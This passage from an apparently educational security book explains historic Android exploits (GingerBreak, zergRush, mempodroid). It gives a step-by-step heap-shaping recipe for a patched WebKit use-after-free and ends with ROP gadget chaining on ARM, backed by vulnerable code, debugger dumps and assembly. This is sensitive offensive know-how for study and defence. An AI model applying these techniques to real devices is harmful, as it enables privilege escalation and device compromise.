SLOGW("Invalid 'PARTN' value");
part_num = 1;
}
if (part_num > mDiskNumParts) {
mDiskNumParts = part_num;
}
This is a classic instance of a write-four primitive. This primitive describes
the situation where an attacker-controlled 32-bit value is written to an attackercontrolled address. The public exploit by Sebastian Krahmer does not require
an information leak from the target process as it makes use of Android’s crash
logging facility instead. Because this exploit was written for rooting your own
device, it assumes it is being executed via an Android Debug Bridge (ADB) shell
and therefore able to read the system log, which contains some crash information
as seen in Chapter 7. Normal applications that might seek to elevate privileges
are not members of the log UNIX group and therefore cannot read the system
log that this exploit uses.
The GingerBreak first determines the index offset from the exploited
DirectVolume class instance’s mPartMinors array to the Global Offset Table
(GOT). Because the affected versions of Android do not have any form of ASLR,
the offset is stable across multiple launches of vold. Because vold is automatically restarted if the process dies, the exploit simply crashes vold with invalid
offsets. It then reads the crashlog text file and parses it for the fault address
string, indicating the address of an invalid memory access. In this way, the correct index to point into the GOT can be easily calculated if the GOT address itself
is known. The GOT address is simply determined by parsing the Executable
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and Link Format (ELF) headers of the vold binary on-disk. This also makes the
exploit work across builds without additional development efforts. Figure 8-7
shows how a negative index can be used to overwrite the GOT.
low
.text
GOT
.data
−n
heap
high
Figure 8-7: Negative GOT index from the heap
To achieve useful code execution, the exploit then overwrites the GOT entry
of the strcmp function with the address of the system function in libc. Again,
because no ASLR is in effect, the exploit can use the address of system in the
current process’s libc. It will be the same address inside the target process.
After overwriting the GOT entry, the next time vold invokes strcmp, it executes
system instead.
The exploit then sends a NETLINK request with a parameter that will be
compared to another, saved string. Because strcmp now points to system, the
exploit simply provides the path of a binary to execute for this string. When
comparing the supplied string to the saved string, vold then actually invokes
the binary. Therefore, no native code payload or Return Oriented Programming
(ROP), as discussed in Chapter 9, is required for this exploit, making it elegant
and fairly target independent. In exploitation, simplicity is reliability.
zergRush
Rather than exploiting an issue in the vold code, the second exploit-attacking
vold exploits a vulnerability in the libsysutils library. This library provides
a generic interface for listening on what it calls Framework sockets, which are
simply traditional UNIX domain sockets. The code that extracts text commands
from messages sent to these sockets was vulnerable to common stack buffer
overflows. This vulnerability was fixed with the Android 4.0 release. However,
the attack surface has very limited exposure. The relevant UNIX domain socket is
only accessible to root user and the mount group as shown in the following code.
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vold Framework Socket File Permissions
# ls -l /dev/socket/vold
srw-rw---- root
mount
2013-02-21 16:08 vold
A local ADB shell runs as the shell user, who is a member of the mount
group. Rooting a device via the ADB shell is therefore possible using this bug.
However, this socket is not accessible to other processes running without the
mount group, such as the browser. If another process uses the same vulnerable
FrameworkListener code, the vulnerability can be exploited against its socket
and its privileges can subsequently be assumed.
The vulnerable function is used to parse an incoming message on the UNIX
domain socket into different space delimited arguments as shown in the
following code.
Vulnerable function dispatchCommand
void FrameworkListener::dispatchCommand(SocketClient *cli, char *data) {
FrameworkCommandCollection::iterator i;
int argc = 0;
char *argv[FrameworkListener::CMD_ARGS_MAX];
↓ A temporary local buffer is allocated on the stack.
char tmp[255];
char *p = data;
↓ The pointer q aliases the temporary buffer.
char *q = tmp;
bool esc = false;
bool quote = false;
int k;
memset(argv, 0, sizeof(argv));
memset(tmp, 0, sizeof(tmp));
↓ This loop iterates over all input characters until a terminating zero is reached.
while(*p) {
...
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↓ User input is copied into the buffer here, arguments are put into the array
without bounds checks.
*q = *p++;
if (!quote && *q == ' ') {
*q = '\0';
argv[argc++] = strdup(tmp);
memset(tmp, 0, sizeof(tmp));
↓ q is reset to the beginning of tmp if there is a space outside a quoted string.
q = tmp;
continue;
}
↓ The target pointer is incremented without further bounds checks.
q++;
}
...
argv[argc++] = strdup(tmp);
...
for (j = 0; j < argc; j++)
free(argv[j]);
return;
}
The patch for this vulnerability was introduced in commit c6b0def to the
core directory of the AOSP repository. It introduces a new local variable qlimit
that points to the end of tmp. Before writing to q, the developer checks it is not
equal to or greater than qlimit.
Because the return address is saved on the stack, exploitation could be as easy
as overflowing the tmp buffer enough to overwrite the saved return address
and replace it with an address containing the attacker’s native code payload.
Figure 8-8 shows this simplified scenario.
However, stack cookies are active and therefore a more sophisticated exploitation strategy is required. As can be seen in the earlier vulnerable code snippet,
the code also fails to perform bounds checking on the argv array. The zergRush
exploit increments the argc variable with 16 dummy elements such that out-ofbounds elements of the argv array overlap with the tmp buffer. It then writes
contents into tmp that includes pointers to be freed later in the function, allowing the exploit to force a use-after-free scenario for any heap object. This is then
used to hijack control flow using a virtual function table pointer. The overflowed
stack frame is depicted in Figure 8-9.
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sp
other local variables
argv[0]
…
argv[1]
argv[15]
tmp[0..255]
stack cookie
overflow
saved program counter
Figure 8-8: Stack buffer overflow over tmp buffer and return address
other local variables
argv[0]
overflow
argv[1]
…
argv[15]
argv[16]
tmp[0..255]
argv[17]
…
282
stack cookie
saved program counter
Figure 8-9: Stack array overflow into tmp buffer-preserving cookie
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Because the Android 2.3 series introduces the XN mitigation, which does not
allow an attacker to execute arbitrary code directly, the zergRush exploit utilizes
a very simple ROP chain to set up the arguments for a call to system. Using this
technique, it invokes another binary as root, just like the original GingerBreak
exploit. ROP is explained in more detail in Chapter 9.
mempodroid
A vulnerability in the Linux kernel from 2.6.39 to 3.0 allows users to write into the
memory of another process with certain limitations. This vulnerability was disclosed in January 2012 and affects the Android 4.0 release series because the kernel
versions in question were only used in conjunction with that Android version.
Linux exposes a special character device for each process at /proc/
$pid/mem that represents that process’ virtual memory as a file. For obvious
security reasons, there are strict restrictions on who can read from and write
to that file. Those restrictions require that the process writing to this special
device must be the process owning the memory. Luckily, thanks to the UNIX
everything-is-a-file mentality, an attacker can open the mem device for the target
process and clone it to that process’s stdout and stderr. There are additional
checks that need to be circumvented to successfully exploit this vulnerability.
Jason A. Donenfeld documented these restrictions very well in his blog post at
http://blog.zx2c4.com/749.
When stdout has been redirected to the character device linked to virtual
memory, the attacker can try to make the program output attacker-controlled
data and thereby write to the program’s memory in an unintended location.
By seeking in the character device before the program runs, he can control at
which memory location data is written.
The mempodroid exploit written by Jay Freeman targets the run-as binary.
This binary is much like sudo on traditional Linux systems, in that it allows
running a command as another user. To accomplish this, the program is owned
by the root user and has the set-uid permission bit set.
The exploit simply provides the desired payload to be written to the target
memory as the username to impersonate. run-as fails to look up that user
and print an error message to stderr accordingly. The target address is set by
seeking the mem device before passing it to the target program. This address
is the path of the error function leading to program termination via a call to
exit. Therefore the actual native code exiting with error code after a failed
user lookup is replaced by some attacker-controlled code. To keep the amount
of attacker-controlled code to a minimum, the exploit carefully chooses the
location to hijack to be the call-site of the call to the exit function. It replaces
this code with a call to setresuid(0). Then it returns from the function as if no
error occurred, which spawns the attacker’s provided command as per normal
functionality as shown in Figure 8-10.
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D7FC MOV R0, R4
D7FE BLX exitgroup
D802 NOP
D804
D808
MOV R0, R4
POP {R0, R1, R4–R6}
MOVS R5, #0
MOVW R3, #0×AD57
BX R3
0×AD56
MOV R0, R5
MOV R1, R5
MOV R2, R5
BL wrap_setresuid32
…
284
Figure 8-10: Side-by-side with original and overwritten code
This is another very elegant exploit that shines through its simplicity and
understanding of the target program. It uses the existing functionality to run
a process of the attacker’s choosing.
Exploiting the Android Browser
As a case study for advanced heap exploitation, this chapter presents a specific
use-after-free vulnerability in WebKit’s rendering code. This vulnerability,
also known as CVE-2011-3068, was fixed in WebKit upstream commit 100677.
At the time of the fix, bug #70456 was referenced, but unfortunately this bug
is still closed at the time of this writing. The fix was merged into the Android
Browser’s WebKit with the Android 4.0.4 release (tags android-4.0.4-aah_r1
and android-4.0.4_r1) in commit d911316 and 538b01d, which were cherrypicked from the upstream commit. The exploitation attempt is against a Galaxy
Nexus running Android 4.0.1 (build ITL41F), which is confirmed vulnerable.
Understanding the Bug
The official patch does not point out the bug well, and understanding WebKit
source has a high barrier to entry. Luckily for an attacker, the fixing commit
also contains a crash test case to prevent future regressions—and make exploit
development easier! When attached with a debugger and the correct symbols
(see Chapter 7 for a guide on setting up your debugging environment), the
browser crashes as shown in the following example.
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Crash on Testcase from Commit 100677
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 2050]
0x00000000 in ?? ()
↓ Dump all the registers.
gdb » i r
r0
r1
r2
r3
r4
r5
r6
r7
r8
r9
r10
r11
r12
sp
lr
pc
cpsr
0x6157a8 0x6157a8
0x0 0x0
0x80000000 0x80000000
0x0 0x0
0x6157a8 0x6157a8
0x615348 0x615348
0x514b78 0x514b78
0x1 0x1
0x5ba40540 0x5ba40540
0x5ba40548 0x5ba40548
0xa5 0xa5
0x615424 0x615424
0x3 0x3
0x5ba40538 0x5ba40538
0x59e8ca55 0x59e8ca55
0x0 0
0x10 0x10
↓ Disassemble calling function.
gdb » disas $lr
Dump of assembler code for function
_ZN7WebCore12RenderObject14layoutIfNeededEv:
0x59e8ca40 <+0>: push {r4, lr}
0x59e8ca42 <+2>: mov r4, r0
0x59e8ca44 <+4>: bl 0x59e4b904
<_ZNK7WebCore12RenderObject11needsLayoutEv>
0x59e8ca48 <+8>: cbz r0, 0x59e8ca54
<_ZN7WebCore12RenderObject14layoutIfNeededEv+20>
↓ Load pointer to virtual function table into r0.
0x59e8ca4a <+10>:
ldr r0, [r4, #0]
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↓ Load actual function pointer into r3 (this will be the 0 address jumped to,
causing a crash).
0x59e8ca4c <+12>:
ldr.w r3, [r0, #380]
; 0x17c
↓ Load new this pointer into r0 argument.
0x59e8ca50 <+16>:
mov r0, r4
↓ Actual virtual function call.
0x59e8ca52 <+18>: blx
0x59e8ca54 <+20>: pop
End of assembler dump.
r3
{r4, pc}
↓ Examine virtual function table pointer and this object at call site.
gdb » x/1wx $r0
0x6157a8: 0x00615904
↓ Print actual function pointer.
gdb » x/1wx (*$r0 + 0x17c)
0x615a80: 0x00000000
The call site is a very generic layout function declared for all RenderObjectderived classes, as shown in the following:
layoutIfNeeded in RenderObject.h
/* This function performs a layout only if one is needed. */
void layoutIfNeeded() { if (needsLayout()) layout(); }
It now becomes very clear that you are dealing with a RenderArena use-afterfree scenario, where the virtual function table pointer has been overwritten as
explained in the “WebKit Specific Allocator: The RenderArena” section earlier
in this chapter. A motivated source code auditor might strive to understand the
bug better, but for our purposes this is a sufficient understanding. Unluckily,
the bug does not allow an attacker to regain JavaScript control after triggering
the free, making more code analysis mostly useless. In order to exploit this
issue, you must control the contents of the fake virtual function pointer table,
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which currently points into another RenderObject instance whose contents
you do not control.
Controlling the Heap
Now that a virtual function pointer table from the heap is being dereferenced,
you must take control of the contents of this heap region to influence code
execution. Because the virtual function invocation happens right after freeing
the block and without returning to attacker-controlled code, it is not possible to
allocate an arbitrary RenderObject in its place. Even if the attacker could gain
intermediate JavaScript execution, he would have to craft another RenderObject
of the size 0x7c. Only the original RenderBlock class has this specific size, so
the attack possibilities are very limited. Redirecting the virtual function table
pointer while the object is still in a free state appears to be much more promising.
Recall that the singly linked free list only contains items of the same size. For
the previously outlined reasons, it is therefore not possible to put other class
instances into this list. However, notice how the dereferenced offset 0x17c inside
the virtual function pointer table is bigger than the entire object instance size
of 0x7c. Therefore the actual function pointer lookup will go past the object
into whatever else might be in, or after, the RenderArena. This opens multiple
avenues for controlling the virtual function table pointer.
Using CSS
The first possibility is to allocate another RenderObject such that it is taken
from new unallocated space following the allocation to be freed instead of an
existing free spot. By controlling the contents of the new allocation, you can
control the data at the function pointer offset. Making sure that it is taken from
new, unallocated space can be achieved by filling existing holes with dummy
allocations. The resulting heap layout is shown in Figure 8-6 earlier.
Unfortunately, RenderObject-derived classes are designed to be very lean.
This makes controlling data within such objects difficult. Most of the 32-bit
integers in them are CSS values originating from the CSS parser, such as positions and margins. Internally, the CSS code uses 4 bits of an integer value to
store additional flags, such as whether the value represents a percentage. This
fact results in values being only 28-bit with the high 4 bits cleared. Luckily,
there are a few exceptions. One of them is the RenderListItem, the Render Tree
equivalent of an li DOM node. Such list items can have an absolute position
value specified—for example, when creating a numbered list with special values
or display offset. This 32-bit value is then copied unmodified to the m_value
and m_explicitValue members of the associated RenderListItem. Padding
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with another dummy RenderBlock instance, you can achieve the exact function
pointer offset you need.
Examining Matching Class Sizes with gdb
gdb » p 2 * sizeof('WebCore::RenderBlock')
+ (uint32_t) &(('WebCore::RenderListItem' *) 0)->m_value
$1 = 0x17c
This way, the full 32 bits of the program counter (pc) can be controlled. The
specific heap layout with a padding dummy object is shown in Figure 8-11.
+0×17c
next free
virtual
function
table pointer
RenderBlock I
RenderBlock II
UaF-RenderBlock
function
pointer
288
RenderListItem
Figure 8-11: RenderArena with padding and RenderListItem
The RenderListItem-based technique is certainly useful for exploiting this
vulnerability in older versions of Android that lack the XN mitigation. However,
in this scenario the attacker controls the contents of r3 but not the memory
pointed to by any register or the memory in its direct vicinity. To circumvent
XN with ROP, introduced in Chapter 9, the attacker likely needs to control more
memory for a successful stack pivot.
Using a Free Block
Another way of controlling the memory contents of the RenderArena following
an existing allocation is making sure the memory regions are never allocated
and stay uninitialized. That way, the virtual function pointer is read from
uninitialized memory contents. As explained earlier, arenas are allocated from
the main heap. If an attacker allocates a RenderArena-sized block from the main
heap and sets the contents to the desired values, then frees the block again, the
next RenderArena allocated will be initialized with attacker controlled values.
General precautions to preserving a chunk on the dlmalloc heap apply. The
attacker must be careful that the freed chunk is not coalesced with any bordering chunks and that there are enough such free chunks available, such that
other allocations do not use those free chunks before the next RenderArena
is allocated. Taking all these tidbits together, this yields the following recipe:
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1. Create sufficient allocations of a RenderArena size and set their contents to
the desired values. After each such allocation, also create a small allocation
serving as guard against coalescing.
2. Free all RenderArena-sized allocations but not the guards. The guards will
now prevent the fake arenas from being coalesced, yet the arenas can be
used for allocation of a real RenderArena.
3. Create enough RenderObject instances to use up all space of the existing
arenas and make sure a new arena is allocated from one of the prepared
blocks.
4. Create a RenderObject of the same class type as the use-after-free–affected
object—RenderBlock in our case study. Make sure this is the last allocation in the RenderArena and is freed just before the use-after-free–affected
object is freed.
After using this recipe, the heap should look similar to that shown in
Figure 8-12.
Fake Arena (free, controlled contents)
Guard (allocated)
Fake Arena
dlmalloc
chunks
…
Guard
header
Render*
Render*
UaF
next free
Fake virtual
function
pointer table
unallocated,
controlled
function pointer
offset
Figure 8-12: RenderArena and dlmalloc state after massaging
Using an Allocated Block
In addition to the previously presented approaches, another approach exists. In
this scenario, the attacker places an allocated dlmalloc chunk containing data of
their choosing after the RenderArena chunk. This technique is especially useful
because an allocated block is less likely to be modified in the time that elapses
between heap sculpting and trigger the use-after-free issue. Similar to the freed
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block approach, the virtual function table pointer would point near the end of
the RenderArena. When the virtual method is invoked, the read offset would
result in using attacker-controlled data as a function pointer.
If everything works out, the attacker now controls both the pc register and
sufficient amounts of memory to perform a stack pivot and start his ROP, bringing him one step closer to full control.
Summary
This chapter covered a range of user-space memory corruption exploitation technologies on ARM hardware. Implementation details and exploitation techniques
relevant to corrupting stack and heap memory were presented. Although the
scenarios discussed do not cover all possible vulnerability classes or exploitation
techniques, they provide insight into how to approach developing an exploit.
Heap-based memory corruption attacks are much more application and
allocator specific, but are the most common vulnerabilities these days. Useafter-free scenarios allow reusing a freed memory block with a new, potentially
attacker controlled allocation and thereby deliberately create an aliasing bug.
This condition is explored under Android’s native dlmalloc allocator and the
WebKit-specific RenderArena allocator. Virtual function pointer tables pose a
way of hijacking native code execution directly from a variety of heap corruption issues.
By taking a close look at several historic, real-world exploits, you saw how
simplicity often leads to increased reliability and decreased development efforts.
The GingerBreak exploit showed how to exploit somewhat arbitrary array indexing issues by modifying the GOT. The zergRush exploit is a shining example
of exploiting stack corruption despite the stack cookies present on Android.
Mempodroid demonstrated outside-the-box techniques to leverage a kernel
vulnerability to achieve privilege escalation.
Lastly, the chapter examined several approaches for exploiting a publicly
disclosed and patched use-after-free vulnerability in the WebKit rendering
engine. The necessary steps for writing your own JavaScript to shape the heap
are explained. This chapter leaves you with enough control to proceed with the
task of crafting a custom stack pivot and ROP chain in Chapter 9.
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CHAPTER
9
Return Oriented Programming
This chapter introduces the basics of Return Oriented Programming (ROP)
and why using it is necessary. The ARM architecture is very different from
x86 in regards to ROP, and this chapter introduces some new concepts specific
to ARM. The chapter examines the bionic dynamic linker as a case study of a
rich and comparatively stable source of code usable for ROP and presents some
ideas for automation.
History and Motivation
ROP is a technique to leverage existing native code in memory as an arbitrary
payload instead of injecting custom native instruction payloads or shellcode.
It has been documented in several degrees of abstraction in various academic papers, but its roots go back to the return2libc technique first publicly
documented by Solar Designer in a 1997 post to the Bugtraq mailing list (http://
seclists.org/bugtraq/1997/Aug/63). In that article, Solar demonstrated the
reuse of existing x86 code fragments in order to bypass a non-executable stack
protection mechanism. Later, Tim Newsham demonstrated the first chaining
of more than two calls in his lpset Solaris 7 exploit from May 2000 (http://
seclists.org/bugtraq/2000/May/90).
291
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There are three main reasons to leverage existing native code in today’s ARM
environments and therefore use ROP. The primary, and most obvious reason,
is the XN exploit mitigation as discussed in Chapter 12. The secondary reason
is due to the separate data and instruction caches on the ARM architecture as
described later. Lastly, on some ARM-based platforms, the OS’s loader enforces
“code-signing,” which requires all binaries to be cryptographically signed. On
platforms such as this, illicit code execution (such as that caused by exploitation of a vulnerability) requires piecing together bits of native code using ROP.
The XN exploit mitigation allows the operating system to mark memory pages
as executable or non-executable, and the processor issues an exception if an
instruction is attempted to be fetched from non-executable memory. Subsequently
an attacker cannot simply provide his payload as native code and divert control flow there. Instead he must make use of the existing code in the program’s
address space that is already marked as executable. He can then either decide to
implement the full payload using existing code or just use existing code as an
intermediate stage to mark his additionally supplied native code as executable.
Separate Code and Instruction Cache
Because the ARM9 architecture has the ARMv5 feature set, the processor has
two separate caches for instructions and data:
The ARM9TDMI has a Harvard bus architecture with separate instruction
and data interfaces. This allows concurrent instruction and data accesses,
and greatly reduces the CPI of the processor. For optimal performance,
single cycle memory accesses for both interfaces are required, although
the core can be wait-stated for non-sequential accesses, or slower memory
systems.
...
A typical implementation of an ARM9TDMI based cached processor has
Harvard caches, and then a unified memory structure beyond the caches,
thus giving the data interface access to the instruction memory space. The
ARM940T is an example of such a system. However, for an SRAM-based
system this technique cannot be used, and an alternative method must
be employed.
ARM Limited, ARM9TDMI™ Technical Reference Manual, Chapter 3.1: “About
the memory interface,” 1998, http://infocenter.arm.com/help/
index.jsp?topic=/com.arm.doc.ddi0091a/CACFBCBE.html
As a consequence, any chunk of native instructions written to memory is not
directly executable, even in the absence of XN. The instructions being written
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as data are first written to the data cache and only later flushed to the backing
main memory. This is depicted in Figure 9-1.
ARM CPU
Instruction
Decoding
Engine
L1 Cache
Instruction
Cache
Main
Memory
Memory Unit
Data Cache
Figure 9-1: Data and instruction caches
When the control flow is diverted to the address of the just-written instructions, the instruction decoding engine attempts to fetch an instruction from
the specified address and first queries the instruction cache. Now three things
can happen:
■
The address in question is already in the instruction cache and the main
memory is not touched. The original instructions, despite being overwritten, are executed instead of the attacker’s payload.
■
A cache miss occurs, and the instructions are fetched from main memory;
however, the data cache has not been flushed yet. The fetched instructions
are the data in the respective memory location before the attacker’s write
and again the payload is not executed.
■
Both the data cache has been flushed and the instruction cache does not
contain the address yet. The instructions are fetched from main memory,
which contains the actual attacker’s payload.
As the attacker typically is not writing to addresses that contained code before,
it is unlikely that the address is in the instruction cache already. However, the
payload is still not fetched correctly when the data cache has not been flushed.
In such a scenario one can either leverage existing, legitimate code (which might
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even be in the instruction cache already) or simply write a lot of data to memory
to flush the data cache. When performing surgical exploitation it is simply not
possible to write much data after the payload has been written; reusing existing
code is a necessity.
N O T E Separate data and instruction caches can become a very tedious issue to
identify when switching from a debugger setup to unattended execution in exploit
development. When hitting breakpoints or switching to the debugger process for
other reasons, the data caches are typically flushed. Also the debugger sees only the
data in main memory and not what is actually in the instruction cache. As soon as the
target is run without a debugger attached, the process crashes in what seems to be
the attacker’s payload. Keep this one in mind as a source of weird crashes!
The ARM processors have special instructions for flushing the caches. These
instructions modify the CP15 system control coprocessor’s registers. Unfortunately,
these instructions access privileged registers and are therefore not usable by
user-mode code. The “PLI” instruction can also be used to hint that the instruction cache should be reloaded, but this is not guaranteed.
Operating systems provide mechanisms for clearing the instruction cache via
system calls. On Linux, this is done via invoking a system call also accessible
as the cacheflush function. Usually, there is no way to invoke such functions
before gaining arbitrary code execution. However, the Linux kernel also flushes
the cache when an mprotect system call is issued. The effects of separate caches
can therefore be disregarded when creating a ROP chain that marks data as
executable code and subsequently transfers execution there.
Basics of ROP on ARM
Because the targeted application typically does not contain the attacker’s payload as one code chunk to which the control flow can simply be diverted to, the
attacker needs to piece together chunks of original code that together implement
their payload. The challenge is maintaining control over the program counter
after execution of one such code chunk.
The original ret2libc technique chains one or more calls into libc procedures
on the x86 architecture. In that architecture, the return address is stored on the
stack. This address indicates where a routine will pass execution to when it
returns. By manipulating the stack contents, the attacker can provide the address
of a libc procedure to call instead of a legitimate return address.
ROP is a generalization of this methodology. Not only does it use full procedures but also smaller code chunks called Gadgets. To maintain control over
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the program counter, these gadgets typically end in the very instruction that is
also used to return from legitimate procedures. The attacker can then choose
a series of gadgets that when sequentially executed implement their payload.
Figure 9-2 shows how such chaining of gadgets looks on the x86 architecture.
With further generalization of this technique, you can use any gadget ending
in an indirect branch. For example, indirect branches, or branches that read the
branch target from a register, are usable. The methodology is similar to that of ROP
except that the respective register has to be loaded with the following gadget’s
address beforehand. Because the methodology there is very dependent on the
actually available gadgets, this chapter does not cover this topic in more depth.
Gadgets
Stack
.
.
.
mov rax, rbx
ret
Address I
mov rsi, rcx
ret
Address II
call [rax]
ret
Address III
.
.
.
Figure 9-2: x86 ROP Gadget stack chaining
ARM Subroutine Calls
In accordance with the ARM ABI (Application Binary Interface, the standard that
defines how compiled software should be structured on ARM) a subroutine’s
return address is not generally stored on the stack. Instead, it is held in the link
register lr, which serves this specific purpose. Functions are invoked with the
bl or blx instructions that load the address of the following instruction into the
lr register and then branch to the specified function. The called function then
typically returns using the bx lr instruction. Because the program counter on
ARM is treated like any other register that can be read from and written to, it
is also possible to just copy the value of the lr into the pc register. Therefore,
mov pc, lr can be a valid function tail, too.
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However the ARM processor also supports two major execution modes: ARM
and Thumb (including the Thumb2 extension). Switching between modes is
accomplished using a technique called Interworking. For example, the bx lr
instruction examines the low bit of the lr and switches to Thumb mode if it is set
or ARM mode if it is not set. Underneath, this low bit gets masked off and stored
in the fifth bit of the Current Program Status Register (CPSR). This bit, called
the T-bit, determines which execution mode the processor is in. Analogously,
the bl and blx instructions set the low bit in the lr when the calling function is
in Thumb mode. Therefore, it is only possible to use the mov pc, lr instruction
when both the calling and called functions use the ARM instruction encoding.
Because there is no performance difference between the mov pc, lr and bx lr
instructions, any modern compiler only emits bx lr instructions to return from
procedures when configured to build code for ARMv6, as shown in Figure 9-3.
lr contents
A
…
31
A
T
1
0
bx lr
A
…
31
A
0
1
0
…
31
pc contents
T
6
5
…
4
0
CPSR contents
Figure 9-3: Interworking procedure return
Upon reading this, exploit developers may immediately wonder how exploitation of even simple stack overflows can be accomplished, because the traditional
technique on x86 involves overwriting the caller’s return address stored on the
stack. Using a single register for storing the return address into the calling procedure works fine for leaf procedures but is insufficient when a routine wants
to call other subroutines by itself again. To accommodate this, ARM compilers
generate code that saves the lr on the stack on routine entry and restores it from
the stack before executing the bx lr to return to its calling routine, as shown in
the following code.
ARM Instructions Calling a Subroutine
stmia sp!, {r4, lr}
...
bl subroutine
...
ldmia sp!, {r4, lr}
bx lr
# Store link register and callee-saved r4 on stack
# Call subroutine, trashing link register
# Load original link register and r4 from stack
# Return to calling code
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The Thumb instruction encoding features special push and pop instructions
that implicitly work on the sp register (the stack pointer) instead of referencing
it explicitly. As a special extension to that, a pop instruction referencing the pc
register handles the written value in the same way as the bx lr instruction,
thus enabling Interworking with a single instruction, as in the following code.
Thumb Instructions Calling a Subroutine
push {lr}
...
bl subroutine
...
pop {pc}
# Store link register on stack
# Call subroutine, trashing link register
# Load original link register and return to calling code
The Thumb pop {pc} instruction is very much like the x86 ret instruction
in that it retrieves a value from the stack and continues execution there. The
notable difference is that the pop instruction can serve as a whole epilogue, also
restoring other registers with a single instruction. However, a Thumb leaf routine
can still end in a bx lr instruction, when the lr still contains the proper value.
Combining Gadgets into a Chain
Recall that your goal is to use existing code sequences for forming your payload.
If the attacker is able to control the stack, any sequence of instructions ending
in either bx lr or pop {…, pc} lets the attacker maintain control over the program counter and can be used as a gadget. Thanks to Interworking, ARM and
Thumb gadgets can even be arbitrarily mixed. The only exception here is that
the rare gadgets ending in ARM mov pc, lr can only be followed by another
ARM gadget, because they do not support Interworking.
Combining gadgets that restore the lr from the stack using an ldmia sp!,
{..., lr} before bx lr or simply pop {..., pc} is straightforward. Because they
load lr from the stack and then continue execution there, the address of the next
gadget can be simply supplied on the stack. In addition to gadget addresses,
register values potentially restored by function epilogues must be supplied,
even if they serve no functional purpose in the ROP payload. This is because
the stack pointer otherwise does not line up with the next intended gadget. If
the next gadget uses Thumb instructions, additionally the low bit must be set
so the processor correctly switches to Thumb mode. This is even true when the
processor is in Thumb mode already, as it would assume the calling function
was in ARM—and therefore transition to ARM mode—if the low bit was not set.
For purposes of demonstration, assume that in Figure 9-4 you have just performed a stack overflow that allowed you to write whatever you want onto the
stack (including nulls) and that you are about to execute a pop {pc} instruction.
In the presence of non-executable stack, you exploit the vulnerability by calling
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mprotect to re-protect the stack as executable, and execute your native code in
place. In that case, your payload written onto the stack may look something
like Figure 9-4.
Gadget
Stack
b00038cb
pop {r0-r4, pc}
r0
r1
r2
r3
r4
pc=b000...
???
Figure 9-4: Simple POP-ROP chain
Gadgets from leaf procedures––ending in bx lr without restoring lr first––
require special handling of the lr value prior to executing that gadget. Typically,
the value contained in lr is the address of the gadget following the last ARM
gadget that restored the value of lr explicitly (because the ARM gadget restored
lr from the stack and set it to the address of the next gadget). When a whole
procedure that invokes subprocedures was used, lr points to after the last subprocedure call in that procedure, resulting in even more unexpected behavior.
When another gadget ending in bx lr would be executed, it would actually jump
right after that very sub-procedure call instead of the next gadget intended to
be executed. If lr still points to a previously used gadget that has no destructive side effects, it is often easiest to account for the execution of that previously
used gadget by providing the required restored values on the stack. However if
lr points anywhere into a bigger procedure or the gadget cannot be executed a
second time, the value of lr itself must be adjusted. This can be done generically
by combining an ARM gadget that explicitly restores lr with a Thumb gadget
that ends in a pop {pc} instruction, as shown in Figure 9-5.
The ARM gadget loads the address of the next gadget into lr and branches
there; the following Thumb gadget also simply branches to the next gadget. But
as a side effect, lr now points to a Thumb gadget that allows seamless continuation, and any gadget ending in only bx lr can be safely executed. Now it is possible to use any instruction sequence ending in a procedure return as a gadget.
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Register
Stack
Gadget
b000133c
pop {r0, lr}
bx lr
r0 = ???
lr = b0002ab0
lr
b0002ab0
pc = ???
pop {pc}
.
.
.
.
???
Figure 9-5: Set lr to pop {pc} chain
Identifying Potential Gadgets
Because the ARM processor requires aligned instructions, it is generally only
possible to use intentionally generated code—or more specifically compiler
generated routine epilogues—as gadgets. This differs from the x86 architecture’s
unaligned Complex Instruction Set Computing (CISC) instruction set. Because
the return instruction is only one byte on x86, it is often possible to jump into
parts of bigger instructions that coincidentally contain a byte resembling the
return instruction. This vastly increases the amount of available gadgets on x86.
Identifying a list of potential gadgets is very easy on Reduced Instruction Set
Computing (RISC) architectures like ARM. With its always-aligned instructions,
one can simply scan a binary image for instructions that perform a function
return, such as pop {..., pc}. Examining the previous instructions in an assembler dead listing already shows the potential gadgets. Therefore finding gadgets
can be as easy as creating an ARM and a Thumb dead listing for a given binary
and parsing the output with regular expressions. A script using this technique
was used to create the ROP chain presented in this chapter.
A trick similar to jumping into parts of bigger instructions on x86 also exists
on ARM: Because it is possible to freely switch between ARM and Thumb modes,
it is also possible to misinterpret any existing ARM code as Thumb code and
vice versa. Although this typically does not provide useful gadgets longer than
one or two instructions, interpreting the upper two bytes of an ARM instruction
can often provide surprisingly useful pop {..., pc} Thumb instructions. These
instructions often restore registers that are typically not restored in common
routine epilogues, such as the caller-saved registers r0 to r3 or the stack pointer
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itself. A breakdown of both the Thumb and ARM view of such an example is
provided in Figure 9-6.
ldclt 0, cr6, [pc, # −100]
“lt” condition
“ldc” instruction
flags
f
i
x
e
d
“pc”
000
1
1111
P
1011
ARM
Thumb
110
(1)
0×bf
1011
110
Thumb “pop”
instruction
0×1f
1
{pc}
000
11111
not {r5−r7}
{r0−r4}
…
0×60 0×19
pop {r0−r4, pc}
Figure 9-6: Breakdown of misinterpreted pop
Also, special code dealing with exception unwinding and early process initialization can contain immensely useful gadgets. Those have been specifically
implemented in the assembler to deal with low-level architecture components.
They occur, for example, in the C library and dynamic linker, as used in the
next section.
Case Study: Android 4.0.1 Linker
Because most processes running on Android are forked from the Zygote base
process, they often share a lot of libraries. However, some native processes are
not forked from Zygote and might have an entirely different process layout. One
example is the Radio Interface Layer Daemon (rild) as discussed in Chapter
11. But even those processes are all dynamically linked and therefore all have
one common code mapping in their address spaces: the Dynamic Linker. This
is the part of code that recursively resolves the dynamic library dependencies
in a process’s base binary and loads all the dependencies. It then resolves all
the symbols imported from other libraries and adjusts addresses accordingly.
It also takes care of applying relocations for binaries that have been moved to
another address than the expected base address, for example, due to Address
Space Layout Randomization (ASLR).
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On Android 4.0 and earlier, the Bionic dynamic linker is mapped at a static
address, 0xb0001000. Due to this fact, no information leak was required to craft
your ROP payload. As of Android 4.1, Jelly Bean, the dynamic linker’s base address
is randomized like any other binary’s base address, as discussed in Chapter 12.
Besides being present in all processes and having a fixed base address on
old Android versions, the dynamic linker is also a comparatively stable binary.
That is, the binary representation does not vary as much as other libraries. The
contents of most libraries contained in Android processes fluctuate between
different phones or even specific firmware images (ROMs) of the same Android
version. The dynamic linker in turn has been very constant. Likely due to the
sensitivity and criticality of this component, it is almost always left untouched
and compiled with the prebuilt compilers coming with the Android source
distribution. Note that the dynamic linker contains a copy of the Bionic memcpy
implementation at a low offset. Because memcpy is heavily optimized for the target architecture, its varying instruction streams result in slight offset variations
